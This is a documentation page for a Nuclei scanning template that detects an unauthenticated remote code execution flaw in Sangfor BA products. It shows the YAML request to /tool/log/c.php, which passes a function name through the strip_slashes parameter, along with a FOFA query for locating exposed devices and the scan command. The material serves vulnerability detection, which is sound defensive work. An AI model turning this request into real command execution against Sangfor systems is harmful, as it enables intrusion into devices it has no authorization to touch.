Sangfor BA - Remote Code Execution
ID: sangfor-ba-rce
Severity: critical
Author: ritikchaddha
Tags: rce,sangfor,intrusive
Description
Section titled “Description”Sangfor products allow remote unauthenticated users to cause the product to execute arbitrary commands.
YAML Source
Section titled “YAML Source”id: sangfor-ba-rce
info: name: Sangfor BA - Remote Code Execution author: ritikchaddha severity: critical description: | Sangfor products allow remote unauthenticated users to cause the product to execute arbitrary commands. reference: - https://mobile.twitter.com/sec715/status/1406886851072253953 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10 cwe-id: CWE-77 metadata: verified: true max-request: 1 fofa-query: app="sangfor" tags: rce,sangfor,intrusive
http: - method: GET path: - "{{BaseURL}}/tool/log/c.php?strip_slashes=md5&host={{randstr}}"
matchers-condition: and matchers: - type: word part: body words: - '{{md5("{{randstr}}")}}'
- type: status status: - 200# digest: 4a0a00473045022100c6dc32e396cc76c889df577ff84726b25ec3bf9e987485cd979b1b14e0c4e6970220499a29db08e3b18f6cf7918b552a6049e730df48f95e15a5696eb48019ddbbbd:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/sangfor/sangfor-ba-rce.yaml"